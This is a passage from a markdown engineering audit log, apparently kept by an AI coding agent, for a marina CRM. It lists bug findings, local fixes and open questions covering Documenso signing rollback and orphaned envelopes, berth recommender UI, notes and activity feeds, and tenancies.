4. **Recipient ↔ Documenso identity reconciliation** (P1.6). After `documensoSend`, validates every distinct email we sent appears in `sentDoc.recipients`. If Documenso silently dropped one, a `ConflictError` fires before field placement so the rollback path triggers. Explicit error message names the missing email(s) for diagnosis.
|
||||||
|
5. **End-to-end test coverage + per-failure audit-log entries** (P1.7). vitest suite extended with: blank email, whitespace-only email, malformed email, blank name, duplicate-emails-OK (Documenso dedupe semantic). `rollbackTo` writes a structured audit_log entry (`status=cancelled`, `failedStep`, `documensoEnvelopeId`, `errorClass`, `errorMessage`) so post-mortem investigation has structured data instead of pre-existing logger lines alone.
|
||||||
|
- **Still open (acknowledged but lower priority):**
|
||||||
|
- **Idempotency on retry** — if the rep hits Send twice, do we double-create envelopes? Today the dialog disables the button while `sendMutation.isPending` so it's mitigated at the UI; service-layer guard via checking `documents.documensoId` before another `documensoCreate` would be belt-and-braces. Queued for follow-up.
|
||||||
|
- **Cross-refs:**
|
||||||
|
- The `/documents/new` wizard refactor (Bucket 3 — wizard refactor finding) touches the same end-to-end flow — bundle the two so the same audit doesn't re-investigate the upload-for-signing service twice.
|
||||||
|
- This is the SECOND time a multi-step Documenso flow has had a rollback gap — the first was the EOI auto-cancel/replace flow (fixed earlier in `65ff596`). Pattern: every multi-step orchestration that touches Documenso needs end-to-end rollback OR pre-flight validation. The audit doc's broader "activity feed comprehensive copy" finding mentioned a similar discipline gap; both should land before more multi-step features ship.
|
||||||
|
- **Open questions for the user:**
|
||||||
|
1. **Are you okay with the comprehensive audit being one larger PR (~1-2 days focused), or should it ship as discrete sub-PRs (pre-flight + state-machine + tests)?** Trade-off: single PR is faster but harder to review; sub-PRs are reviewable but you'd see intermediate states.
|
||||||
|
2. **Should the pre-flight validation block the dialog Submit button entirely, or surface an inline error and let the rep submit anyway (with "I know there's a missing email" override)?** Default proposal: hard block — Documenso's API can't recover from missing emails, so submitting anyway is guaranteed-to-fail.
|
||||||
|
|
||||||
|
### BerthRecommenderPanel — hide entirely when no desired dimensions set
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`**
|
||||||
|
- **Files touched:** _src/components/interests/interest-tabs.tsx_ (~line 1467 Overview inline render + ~line 1577 dedicated tab entry + ~line 1521 hasDesiredDims gate variable + ~line 711 OverviewTab inner gate).
|
||||||
|
- **React-grab anchor:** `<div class="flex flex-col s..." />` in `Card` in `BerthRecommenderPanel`.
|
||||||
|
- **Symptom:** the recommender card rendered even when the rep hadn't entered any desired dimensions on the interest — surfacing only the "Set desired dimensions to see recommendations." guidance subtitle. User flagged that the card AND the dedicated "Berth Recommendations" tab should both be hidden in that state so reps aren't distracted by an empty placeholder.
|
||||||
|
- **Root cause:** previous design intentionally kept the panel always-mounted with inline guidance ("plan §5.3 — always-mounted card driven by the interest's desired dimensions"). User-experience preference now flips that to hide-entirely.
|
||||||
|
- **Fix applied:**
|
||||||
|
1. Computed `hasDesiredDims = toNum(interest.desiredLengthFt) !== null` once near the top of the InterestTabs component, and once inside OverviewTab (because the Overview's inline render lives inside the child).
|
||||||
|
2. Overview tab's BerthRecommenderPanel mount wrapped in `{hasDesiredDims ? <Panel /> : null}` — disappears entirely until length is captured.
|
||||||
|
3. Dedicated "Berth Recommendations" tab object spread conditionally into the tabs array (`...(hasDesiredDims ? [tabObject] : [])`) so the tab strip's tab itself vanishes — not just the content. Rep doesn't get a dead-end tab.
|
||||||
|
- **Why gate on length only (not all three dimensions):** length is the primary ranking input in the recommender's SQL; width / draft fall back to length when missing. Requiring all three would hide the panel for partial-data interests where the recommender still has signal.
|
||||||
|
- **Alternatives considered + rejected:**
|
||||||
|
- Show the panel but collapsed by default — rejected because reps still see the empty card; defeats the user's "hide entirely" ask.
|
||||||
|
- Keep the dedicated tab but show the empty-state inside — rejected for the same reason; the user wants the tab gone too.
|
||||||
|
- **Effort:** ~15 min.
|
||||||
|
- **Cross-refs:** related to the Bucket 3 wizard refactor / OverviewTab inheritance finding — both touch what gets shown to a rep on the Overview tab as a function of what data is present.
|
||||||
|
- **Acceptance criteria:** an interest with `desiredLengthFt = NULL` shows no recommender card on Overview AND no "Berth Recommendations" tab in the strip. Setting desired length via the inline editor causes both to appear immediately (TanStack Query refetch).
|
||||||
|
|
||||||
|
### Per-berth public-map flag — should inherit on subsequent surfaces
|
||||||
|
|
||||||
|
- **`OPEN — needs user clarification on which surface specifically`**
|
||||||
|
- **React-grab anchor:** `<label class="flex items-cent..." />` in `DismissableLayer` in `FocusScope` in `Presence` (i.e., inside a Radix Dialog or Sheet).
|
||||||
|
- **User's message (verbatim):** "this should inherit from on the overview page if the berths on the interest record are marked as being changed/updated on the public map."
|
||||||
|
- **Best-guess interpretation:** the label-anchor lives inside a dialog (DismissableLayer / FocusScope wrap is Radix's modal portal). Most likely candidates given recent UAT focus:
|
||||||
|
1. **EOI generate dialog** (`src/components/documents/eoi-generate-dialog.tsx`) — when the rep generates an EOI from the dialog, a checkbox controls whether the in-bundle berths' public-map status flips to "Under Offer." That checkbox should default to ON when any of the linked berths already have `is_specific_interest=true`, OR be defaulted based on those existing flags.
|
||||||
|
2. **External EOI upload dialog** — same logic, parallel checkbox.
|
||||||
|
3. **Reservation generate / external upload** — same pattern at a later stage.
|
||||||
|
4. **Bulk berth-tagging surfaces** — less likely given the recent flow.
|
||||||
|
- **Root cause hypothesis:** these dialogs currently default their map-flip checkbox to a static value (probably `true`), without reading the existing per-row `is_specific_interest` flags on the interest's `interest_berths` rows. So a rep who explicitly turned the flag OFF on the linked-berths list (because they didn't want the map to flip yet) gets the dialog overriding their choice.
|
||||||
|
- **Fix proposal (when target surface is confirmed):**
|
||||||
|
1. Query the interest's `interest_berths` rows when the dialog opens. Derive the default: if ANY in-bundle berth has `is_specific_interest=true`, default the dialog's checkbox to true. Otherwise default false.
|
||||||
|
2. Better: surface a per-row indicator inside the dialog showing the current map flag state per berth, so the rep sees which berths will / won't flip and can override per-row.
|
||||||
|
3. Wire submit to honour those per-row toggles instead of a single global checkbox.
|
||||||
|
- **Effort:** ~30 min for option 1 (single dialog), ~1.5h for option 2 (per-row UI) once the target dialog is identified.
|
||||||
|
- **Open questions for the user:**
|
||||||
|
1. **Which dialog were you looking at when you flagged this?** Best to confirm before I touch any code — the label anchor doesn't uniquely identify it. Screenshot of the dialog would close the gap immediately.
|
||||||
|
2. **Default semantic:** when ANY in-bundle berth has the flag on, should the dialog default the public-map flip to ON, or should it match the MAJORITY of berths' flags, or should it always be a deliberate per-dialog choice?
|
||||||
|
|
||||||
|
### Documenso upload — title transfer (verification + concern)
|
||||||
|
|
||||||
|
- **`VERIFIED WORKING (no fix needed); UX cue queued`**
|
||||||
|
- **Files inspected:** _src/lib/services/custom-document-upload.service.ts_ (line 388 `documensoCreate(title, ...)`).
|
||||||
|
- **User concern:** "not sure if the name I gave the document transferred through to the documenso document (not sure if i gave it a name or left it default)."
|
||||||
|
- **Verification:** the upload-for-signing service passes the `title` field through to `documensoCreate(title, pdfBase64, ...)` at line 388. Documenso's create call accepts the title verbatim. Same pattern in the EOI generate flow (template-based) — title is sent via the template-generate API.
|
||||||
|
- **Why the user couldn't tell:** the dialog's submission flow returns to the EOI tab + document list without surfacing the title that ended up on the Documenso side. If the rep left it default (no title input) the local CRM defaulted to something like "Dashboard report — 22_05_2026" (per screenshot evidence) — Documenso received exactly that string. Nothing was lost.
|
||||||
|
- **Queued UX fix (small):** after a successful send, show the title prominently in the success toast ("Sent for signing: 'Dashboard report — 22_05_2026' → Documenso") so the rep can immediately confirm what name landed on the receiving side. Bundle with the broader Documenso upload audit (above).
|
||||||
|
|
||||||
|
### Documenso upload + delete — orphaned envelopes when CRM document row has no documensoId
|
||||||
|
|
||||||
|
- **`OPEN (multiple linked bugs; root cause shared with the silent-partial-state finding above)`**
|
||||||
|
- **Files implicated:**
|
||||||
|
- _src/lib/services/custom-document-upload.service.ts:498_ (`documensoId` is only written to the CRM row AFTER `placeFields` succeeds).
|
||||||
|
- _src/lib/services/documents.service.ts:648_ (`deleteDocument` — best-effort void only runs `if (existing.documensoId)`; skips silently when null).
|
||||||
|
- _src/lib/services/documents.service.ts:2220_ (`cancelDocument` — same gated void at line 2240).
|
||||||
|
- _src/lib/services/documents.service.ts:192_ (`listDocuments` filters out `status='deleted'` by default).
|
||||||
|
- _src/components/interests/interest-eoi-tab.tsx:121_ (EOI tab query).
|
||||||
|
- **Symptom chain (UAT 2026-05-26):**
|
||||||
|
1. Rep uploads a custom doc via UploadForSigningDialog → field placement throws (the "missing recipientId" bug captured above). Before my session fix, the throw bypassed the rollback. So:
|
||||||
|
- Documenso side: envelope created, recipients distributed, no fields placed.
|
||||||
|
- CRM side: document row at `status='draft'`, `documensoId=NULL` (never written because line 498 is after the throw).
|
||||||
|
2. Rep "removed the EOI" via the CRM UI — but the doc STILL displays as DRAFT in the EOI tab.
|
||||||
|
3. Rep also confirms it wasn't deleted from Documenso side either.
|
||||||
|
- **Root cause (multi-part):**
|
||||||
|
- **A. CRM lost the link to Documenso.** Because step 1 left `documensoId=NULL` on the CRM row, both `deleteDocument` and `cancelDocument` skip the Documenso void call (`if (existing.documensoId)` short-circuits). The CRM has no way to find the envelope to void. Documenso is now hosting an orphaned envelope.
|
||||||
|
- **B. Whatever "remove" action the rep took didn't transition the status.** The screenshot shows the doc still as DRAFT after the rep's remove attempt. If `cancelDocument` had run, status would be `cancelled`. If `deleteDocument` had run, the row would be filtered out of the EOI tab list (line 195 excludes `status='deleted'`). So the rep's action either errored silently OR triggered a route we haven't identified.
|
||||||
|
- **C. The earlier silent-partial-state bug is the seed.** Without my session fix to the rollback, every failure of `placeFields` left a phantom draft + orphaned envelope. Reproduced reliably until the rollback fires correctly.
|
||||||
|
- **Hypothesis ladder for the "remove" action that didn't take:**
|
||||||
|
1. The rep clicked a cancel/delete affordance but the request 4xx'd (permission denied, validation error) and the toast was missed. The list query never re-ran because the mutation didn't onSuccess-invalidate.
|
||||||
|
2. The rep deleted from Documenso UI directly (not the CRM), and confused that with a CRM-side remove. The CRM still has the row.
|
||||||
|
3. There IS a CRM-side button that hit a route we missed — e.g. a soft-archive that doesn't change status.
|
||||||
|
- **Fix proposal (multi-layer):**
|
||||||
|
1. **Persist `documensoId` IMMEDIATELY after `documensoCreate`, not at the end.** Move the `UPDATE documents SET documensoId=...` call to right after `documensoCreate` succeeds (line ~388). Subsequent failures will still rollback the status, but the CRM retains the Documenso reference so void calls work. Acceptable risk: the row briefly has a documensoId but status='draft'; the rollback path resolves it.
|
||||||
|
2. **Audit every CRM-side "remove EOI / cancel doc / delete doc" affordance.** Each one should: (a) check the rep has permission, (b) call the right service (`cancelDocument` for active flows, `deleteDocument` for drafts), (c) onSuccess-invalidate the relevant queries, (d) surface toast on error not just silently swallow. List candidates: EoiCancelDialog (line 25 of interest-eoi-tab), the EOI tab's per-row kebab actions (currently in interest-eoi-tab.tsx near the doc list render), the docs hub kebab actions, the document detail page's Cancel/Delete buttons.
|
||||||
|
3. **Surface "this row has no Documenso link" in the UI.** When a CRM doc has documensoId=NULL but status not in {draft (pre-send), deleted}, render a small warning chip ("Documenso link lost — cancel + recreate this doc") with a "Repair" CTA that voids the envelope IF the rep can supply a Documenso id, or marks the doc cancelled + lets them recreate.
|
||||||
|
4. **Reconciliation cron / repair script.** Periodic (or admin-triggered) job that lists Documenso envelopes the CRM doesn't have a row for, surfaces them for review. Catches orphans across upgrades / past partial failures.
|
||||||
|
- **Effort:**
|
||||||
|
- Fix #1 (persist documensoId early): ~20 min including a test that verifies the rollback still voids correctly.
|
||||||
|
- Fix #2 (cancel/delete affordance audit): ~2h depending on how many call sites exist.
|
||||||
|
- Fix #3 (UI orphan warning): ~1h.
|
||||||
|
- Fix #4 (reconciliation script): ~2h.
|
||||||
|
- **Cross-refs:**
|
||||||
|
- The earlier finding (above) — "Documenso upload — silent partial-state when field placement fails" — fixes the rollback path going forward. THIS finding addresses the orphans created BEFORE that fix landed + the cancel/delete affordances that miss the void path generally.
|
||||||
|
- Pairs with the comprehensive Documenso upload audit (Bucket 3 — referenced above as `Documenso upload — silent partial-state ...`).
|
||||||
|
- **Open questions for the user:**
|
||||||
|
1. Which "remove" action did you click — the per-row kebab in the EOI tab, the EoiCancelDialog, the docs hub kebab, or the document detail page Cancel/Delete button? Knowing which path you used narrows the diagnosis.
|
||||||
|
2. Is the orphaned envelope in Documenso still there (you said you deleted from Documenso side too — did that succeed)? If yes, the orphan is gone and the CRM-side cleanup is the only remaining work. If no, we need the manual repair pattern in the meantime.
|
||||||
|
3. Do you want a one-time admin script that scans for orphaned Documenso envelopes / dangling CRM rows now (to clean up everything created during this UAT session), or is that overkill and you'd rather just nuke the dev DB?
|
||||||
|
|
||||||
|
### Document signing flow — copy-link parity across surfaces
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`**
|
||||||
|
- **Files touched:** _src/components/documents/signing-progress.tsx_ (the canonical shared component).
|
||||||
|
- **React-grab anchor:** `<div class="relative flex i..." />` in `SigningProgress` in `ActiveEoiCard` in `InterestEoiTab`.
|
||||||
|
- **Symptom:** rep wanted to copy a signer's signing link to send via WhatsApp / Slack / in person, but the per-signer row only showed "Send invitation" (or "Send reminder") — Copy link wasn't visible because it was rendered behind a conditional that hid the button entirely when `signingUrl` was falsy. So if Documenso hadn't issued the URL yet, or the field wasn't populated on the signer record, the rep couldn't copy at all and had no signal that copy was even an option.
|
||||||
|
- **Root cause:** the previous render at signing-progress.tsx:400 read `{signer.status === 'pending' && signer.signingUrl ? <CopyButton /> : null}` — both pending status AND a non-empty URL were required. Reps with a freshly-created envelope (URL not yet on the row) saw only the Send invitation button.
|
||||||
|
- **Fix applied:** changed the condition to render the Copy link button whenever `signer.status === 'pending'`, and disable the button (with a clarifying tooltip — "Signing URL is not available yet — Documenso issues it once the document has been sent.") when `signingUrl` is missing. Available tooltip: "Copy this signer's signing link to your clipboard so you can share it directly (Slack, WhatsApp, in person) without going through email." Style upgraded from `ghost` to `outline` so it reads as a peer action to Send invitation / Send reminder instead of a tertiary affordance.
|
||||||
|
- **Surface coverage:** SigningProgress is the single canonical signing-progress component (used by ActiveEoiCard / InterestReservationTab / InterestContractTab / DocumentDetail / DocumentDetail signers section via #67 doc-detail polish). One fix lands everywhere.
|
||||||
|
- **Alternatives considered + rejected:**
|
||||||
|
- Always show "Copy link" enabled and silently fail when URL is missing — rejected; reps would copy emptystring and ship a broken link in chat.
|
||||||
|
- Show "Copy link" only after invitation is sent — rejected because the design comment (line 388–393) explicitly calls out reps wanting to preview / share the URL BEFORE the formal email goes out.
|
||||||
|
- **Effort:** ~10 min for the condition flip + tooltip; ~0 min for the cross-surface coverage because SigningProgress is shared.
|
||||||
|
- **Cross-refs:** the prior session shipped the Documenso v2 distribute-response field plumbing that populates `signingUrl` (`c4450dd` lineage). This finding is the UI follow-up.
|
||||||
|
- **Acceptance criteria:** every pending signer row in every document signing surface shows BOTH a Copy link button (disabled when URL not yet issued, tooltip explaining why) AND the appropriate Send invitation / Send reminder primary action.
|
||||||
|
|
||||||
|
### UploadForSigningDialog — "Recipient" label is too thin for a load-bearing choice
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`**
|
||||||
|
- **Files touched:** _src/components/documents/upload-for-signing-dialog.tsx_ (FieldSidePanel, ~line 1399).
|
||||||
|
- **React-grab anchor:** `<label class="font-medium pee...">Recipient</label>` in `Label` in `FieldSidePanel` at `upload-for-signing-dialog.tsx:1376:4`.
|
||||||
|
- **Symptom:** the FieldSidePanel — the right-hand "Field properties" panel that opens when the rep selects a placed signature/text/date/checkbox field on the PDF — labels its signer-assignment dropdown with the single bare word `Recipient`. The user flagged this as non-descriptive: the field is **load-bearing** because it determines which of the document's recipients will see and fill that specific field at signing time. A wrong selection sends the field to the wrong person; a confused rep skips the step and Documenso defaults to the first recipient. "Recipient" by itself doesn't communicate any of that — it reads like a passive metadata label, not an active assignment choice.
|
||||||
|
- **Root cause:** the panel was scaffolded as a generic Type / Recipient / Value triplet without UX copy. The Select dropdown DOES populate correctly (recipients come from the dialog's `recipients` prop with `#order Name/Email` formatted), so the wiring is fine — the gap is purely the label + a missing explainer.
|
||||||
|
- **Fix applied:**
|
||||||
|
1. Label text changed from `Recipient` → `Assign this field to`. Active verb makes it clear this is a deliberate choice the rep is making, not a metadata read-out.
|
||||||
|
2. Helper paragraph added below the dropdown: "Whoever is selected here is the only person who will see and fill this field when the document is sent for signing." Plain English, explicit consequence.
|
||||||
|
- **Alternatives considered + rejected:**
|
||||||
|
- Renaming to "Signer" alone — rejected because the document recipient list can include CC / approver roles that aren't strictly signers, and "Signer" implies they sign.
|
||||||
|
- Using a per-recipient color-coded chip strip instead of a dropdown — rejected because reps frequently need to assign 10+ fields across multiple recipients in dense forms; a dropdown is faster than chips at that volume. Could be a future enhancement bundled with field-placement keyboard shortcuts.
|
||||||
|
- **Effort:** ~5 min (the fix itself). The rejected color-coded-chip alternative would be ~2h.
|
||||||
|
- **Cross-refs:** prior session shipped `c4450dd` (field metadata panel + payload extension); this is a follow-up polish on the same panel.
|
||||||
|
- **Acceptance criteria:** the FieldSidePanel's recipient-assignment row reads "Assign this field to" with the helper sentence below, and the dropdown still populates the document's recipients in signing-order with `#order Name/Email` formatting.
|
||||||
|
|
||||||
|
### Recommender card — Heat badge needs explainer tooltip
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/berth-recommender-panel.tsx_ (RecommendationCard Heat badge).
|
||||||
|
- **Symptom:** "Heat 81" badge rendered with no explanation of what the number means. The tier badge next to it already has a Popover; the heat badge was a plain span.
|
||||||
|
- **Fix applied:** badge converted to a Popover trigger. Popover surfaces the headline ("Heat score · 81 / 100"), explains the formula in plain English ("how warm this berth is for a re-pitch — recency × furthest stage × interest count × EOI count"), shows the four component scores from `rec.heat.*`, and notes that admins tune the weights in Admin → Recommender.
|
||||||
|
|
||||||
|
### Recommender card — area letter duplicates mooring number
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/berth-recommender-panel.tsx_ (RecommendationCard header).
|
||||||
|
- **Symptom:** card rendered `E1` followed by a separate "E" label. Mooring number already carries the area letter as a prefix (canonical `^[A-Z]+\d+$` per CLAUDE.md), so the standalone area letter was pure visual noise — same complaint as the BerthPicker fix earlier this session.
|
||||||
|
- **Fix applied:** removed the area-letter span from RecommendationCard.
|
||||||
|
|
||||||
|
### Recommender tier contradicts berth status
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/lib/services/berth-recommender.service.ts:223_ (`classifyTier`) + _src/components/interests/berth-recommender-panel.tsx_ (card render).
|
||||||
|
- **Fix applied:** `TierInputs.status` propagated end-to-end. `classifyTier` now collapses the contradiction: `status='sold'` → D, `status='under_offer'` (with or without active interest rows) → C, otherwise existing rules. `RawRow.status` already feeds in via `classifyTier(r)`.
|
||||||
|
- **Symptom:** berth D39 shows both `Under Offer` (status pill) AND `Open` (recommender tier). The tooltip definition contradicts itself: "Open: never had an interest, ready for new prospects."
|
||||||
|
- **Root cause:** `classifyTier` only reads from `interest_berths` aggregates (active count / lost count / max active stage). A berth whose `berths.status` column says `Under Offer` — set manually by an admin, imported from NocoDB, or left over from a stale row — has zero entries in interest_berths if no active interest is currently driving the status, so the tier classifier returns A (Open). The two signals come from different sources and aren't reconciled.
|
||||||
|
- **Fix:** add `berthStatus` to `TierInputs` and bias `classifyTier`:
|
||||||
|
- If `berthStatus === 'Sold'` → return `'D'` (treat sold the same as a late-stage active interest, since the rep should treat it as effectively closed; we still surface it as a backup option).
|
||||||
|
- If `berthStatus === 'Under Offer'` AND `activeInterestCount === 0` → return `'C'` (someone is on it according to the public map even if interest_berths doesn't know who). The competing-interest chip from the previous finding then surfaces who that someone is.
|
||||||
|
- Otherwise fall through to existing rules.
|
||||||
|
- **Alternative considered:** filter Under Offer / Sold berths out of recommendations entirely. Rejected because reps DO use the recommender to surface backup options for "this might fall through" planning. The tier should just match the reality.
|
||||||
|
- **Effort:** ~30–45 min (TierInputs widen + plumb berth status through the aggregator query + adjust the tooltip copy so "Open" / "Active interest" labels stay coherent).
|
||||||
|
|
||||||
|
### Berth occupancy info — surface competing interest on every non-available status
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/berths/berth-occupancy-chip.tsx_ (shared chip) + adopted in _linked-berths-list_ (LinkedBerthRowItem) + _berth-recommender-panel_ (recommendation cards) + _interest-berth-status-banner_ (deal-level banner).
|
||||||
|
- **Fix applied:** new `<BerthOccupancyChip berthId excludeInterestId={currentInterestId} />` reuses `/api/v1/berths/[id]/active-interests`. Renders inline on every non-available status surface (linked-berths list, recommender cards, deal banner). Hides when the only competing interest is the current one.
|
||||||
|
- **React-grab anchors:** `<span>Under Offer</span>` in StatusPill in LinkedBerthRowItem; same pill in the recommender card body.
|
||||||
|
- **Symptom:** anywhere a berth's status renders as "Under Offer" / "Sold" / "Reserved" the rep currently has no idea WHO is responsible for that status. They have to navigate to the berth detail page (or guess) to find the competing interest or the closed-deal client.
|
||||||
|
- **Fix:** reuse the existing `/api/v1/berths/[id]/active-interests` endpoint (shipped for the columns popover + `InterestBerthStatusBanner`) and surface the top competing interest inline on every non-available status surface. Show client name + stage pill + a link to the competing interest detail. Hide when the only competing interest is the current one (self-conflict makes no sense to flag).
|
||||||
|
- **Recommended implementation:** extract a small `<BerthOccupancyChip berthId={...} excludeInterestId={currentInterestId} />` component that runs the query, renders the chip when there's something to surface, and shares behaviour across:
|
||||||
|
- `LinkedBerthRowItem` (per linked berth on the interest detail)
|
||||||
|
- `BerthRecommenderPanel` recommendation card body (per recommended berth)
|
||||||
|
- `InterestBerthStatusBanner` (deal-level banner — already does this; migrate to use the shared chip so the rendering stays consistent)
|
||||||
|
- `berth-columns.tsx` active-interests popover (already exists; keep its richer multi-row popover, but reuse the data fetcher).
|
||||||
|
- **Effort:** ~1.5–2h. Single new shared component + 3 call-site adoptions + the deal-level banner migration. Closes the "who owns this berth right now" gap platform-wide in one pass.
|
||||||
|
|
||||||
|
### NotesList source badge — clickable navigation to source entity
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/shared/notes-list.tsx_.
|
||||||
|
- **Symptom:** the "Yacht · Test Yacht" badge on aggregated notes (e.g. on a client's Notes tab, surfacing a note left on their linked yacht) was a plain `<span>` — no way to pivot from the note to the source entity without leaving the page.
|
||||||
|
- **Fix applied:** badge is now a `<Link>` to the source entity's detail page when `sourceId` is available (clients/companies/yachts/interests/residential variants all covered). New `sourceLinkFor(portSlug, source, sourceId)` helper centralises the URL mapping. `stopPropagation` keeps any outer row-click handler from interfering.
|
||||||
|
|
||||||
|
### Notes tab header count doesn't aggregate
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/lib/services/notes.service.ts_ (new `countFor{Client,Yacht,Company}Aggregated`) + _clients.service.ts_, _yachts.service.ts_, _companies.service.ts_ (wired into `getById` responses) + _yacht-tabs.tsx_, _company-tabs.tsx_ (badge prop).
|
||||||
|
- **Fix applied:** new symmetric-reach count helpers in `notes.service.ts` mirror the existing `listFor*Aggregated` joins. Client tab counts client + interest + yacht (owned) + company (active membership) notes; yacht tab counts yacht + polymorphic-owner + linked-interest notes; company tab counts company + owned-yacht + their-interest notes. `getYachtById` / `getCompanyById` now return `noteCount`; tab definitions render the badge.
|
||||||
|
|
||||||
|
### Admin toggle to disable Tenancies entirely
|
||||||
|
|
||||||
|
- **`PARTIALLY SHIPPED`** — backend exists, admin UI missing. _src/lib/services/tenancies-module.service.ts_ (`disableTenanciesModule(portId)` + companion `isTenanciesModuleEnabled` + the `tenancies_module_enabled` setting) + _src/app/api/v1/admin/tenancies-module/\*_.
|
||||||
|
- **Symptom / user ask:** rep is in "pure sales mode" — doesn't want Tenancies spilling into the UI yet. Wants an admin-level switch to turn the module off so the sidebar entry / entity tabs / dashboard widgets / top-level page all hide.
|
||||||
|
- **Status:** the platform already supports this (per docs/tenancies-design.md §"Platform-wide module-enabled rule"). What's MISSING is the admin Operations toggle in the settings UI: a Switch wired to `POST /api/v1/admin/tenancies-module/enable` / `POST .../disable`, with the disable path showing a confirmation modal ("This will hide N existing tenancies — data is preserved but invisible until re-enabled. Continue?"). Per the design doc the helper copy reads: "When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform doesn't model the occupancy record."
|
||||||
|
- **Fix:** add the Switch to `src/app/(dashboard)/[portSlug]/admin/operations/page.tsx` (or wherever the operations settings live), wire to the existing endpoints, gate behind `admin.manage_settings`. ~45 min.
|
||||||
|
|
||||||
|
### Activity feeds — generic "updated this record" hides real changes
|
||||||
|
|
||||||
|
- **`PARTIALLY SHIPPED locally (yacht transfer only)`** — _src/lib/services/yachts.service.ts:215_ (transferOwnership) + _src/components/shared/entity-activity-feed.tsx:26_ (ACTION_VERBS) + every other service that writes audit_log entries with `action: 'update'` and no `fieldChanged`.
|
||||||
|
- **Symptom:** EntityActivityFeed reads audit_logs and falls back to "X updated this record" when the row has no `fieldChanged`. Major lifecycle events (yacht owner transfer, interest stage transitions, berth status flips, document state changes) write that exact generic row, so the feed loses ALL useful detail — defeats the audit-trail purpose.
|
||||||
|
- **Yacht-transfer fix shipped:** `transferOwnership` now resolves both the old + new owner names (client → fullName / company → name), writes the audit row with `action: 'transfer'`, `fieldChanged: 'owner'`, `oldValue: oldOwnerName`, `newValue: newOwnerName`, plus reason/notes in metadata. EntityActivityFeed's `ACTION_VERBS` gains `transfer → 'transferred'`. Result: "Matt transferred owner to Jane Smith" instead of "Matt updated this record."
|
||||||
|
- **Still open — sweep across every audit-log writer:** every other service emitting `action: 'update'` with no `fieldChanged` (or with an object as `newValue`) needs the same treatment. Pattern: discrete action verb + named field + human-readable old/new values. Candidates surfaced in earlier audits: interest stage transitions, berth status flips, document send / sign / cancel events, eoi auto-cancel, tenancy activate / end / transfer, payment record/delete. Each is ~10min of service-layer surgery; the bulk is the sweep.
|
||||||
|
|
||||||
|
### Activity feed UI — standardize across every entity surface
|
||||||
|
|
||||||
|
- **`OPEN`** — _src/components/shared/entity-activity-feed.tsx_ (the shared primitive) + every page that mounts an activity feed (client, interest, yacht, berth, company, tenancy, document).
|
||||||
|
- **Symptom:** the user judges the client + interest activity feeds as the best-presented; other surfaces feel inconsistent. The shared `EntityActivityFeed` IS the same component across consumers, so the visual difference must be in (a) which surfaces still use a bespoke per-entity feed rather than the shared one, or (b) which surfaces pass which props (filters, empty-state copy, session-grouping window).
|
||||||
|
- **Fix:** audit every place an activity feed renders. Anything that's bespoke gets migrated to the shared `EntityActivityFeed`. Anything that already uses the shared component but passes weak props (no filter dropdowns, no session collapsing) gets brought up to the client/interest baseline. Bundle with the audit-log content sweep above so the entries the feed renders are also comprehensive.
|
||||||
|
|
||||||
|
### CompanyPicker — empty on open
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/app/api/v1/companies/autocomplete/handlers.ts_ + _src/lib/services/companies.service.ts:303_.
|
||||||
|
- **Symptom:** CompanyPicker popover opens empty even though the port has companies on file. Has to type something before any options surface.
|
||||||
|
- **Root cause:** the autocomplete handler returned `{ data: [] }` immediately when `q` was empty; the picker fires its first query with `debounced=''`, so the list was always empty on first open.
|
||||||
|
- **Fix applied:** empty `q` now returns the 10 most-recently-updated companies for the port (still capped to 10, matching the typed-search path). Non-empty `q` keeps the existing ilike-match.
|
||||||
|
|
||||||
|
### Yacht transfer dialog — drop "atomic" from copy
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/yachts/yacht-transfer-dialog.tsx:136_.
|
||||||
|
- **Symptom:** dialog description says "The change is auditable and atomic." — "atomic" is engineering jargon, doesn't mean anything to a normal user.
|
||||||
|
- **Fix applied:** rewrote to "The change is logged in the audit history." Same meaning, no jargon.
|
||||||
|
|
||||||
|
### ClientTenanciesTab — pending tenancies invisible
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/lib/services/clients.service.ts:415_.
|
||||||
|
- **Symptom:** rep creates a tenancy via "Create tenancy" (status `pending`), sidebar Tenancies entry surfaces (lazy module flip works), but the client detail's Tenancies tab shows the empty state. Same for any pending tenancy auto-created from a signed Reservation Agreement webhook before the rep confirms activation.
|
||||||
|
- **Root cause:** `clients.service.getById` filters `activeTenancies` to `status === 'active'` only. Pending rows fall outside that filter and never reach the tab.
|
||||||
|
- **Fix applied:** filter widened to `inArray(status, ['pending', 'active'])`. The `TenancyList` component already renders a status pill per row so the rep distinguishes pending from active without a section split.
|
||||||
|
|
||||||
|
### TenancyList rows — not clickable to tenancy detail
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/tenancies/tenancy-list.tsx_.
|
||||||
|
- **Symptom:** rows in the Tenancies sections (client tab, berth tab, yacht tab, top-level `/tenancies`) carry per-cell links for berth / client / yacht but no way to open the tenancy itself. Reps had to click the contract link or hunt for an edit affordance.
|
||||||
|
- **Fix applied:** rows now navigate to `/{portSlug}/tenancies/{id}` on click. Inner links/buttons (BerthLink, ClientLink, YachtLink, "View contract") still fire their own behaviour because the click handler bails when the target is inside an `<a>` or `<button>`. Keyboard support: Enter/Space on the row also opens detail.
|
||||||
|
|
||||||
|
### BerthPicker — area suffix duplicates the group heading
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/shared/berth-picker.tsx:141_ (labelFor).
|
||||||
|
- **Symptom:** every option rendered as `Berth A1 · A`, `Berth B5 · B` etc. The mooring number is already prefixed with the area letter, and the dropdown groups options under area-letter headings. The trailing ` · A` reads as visual noise.
|
||||||
|
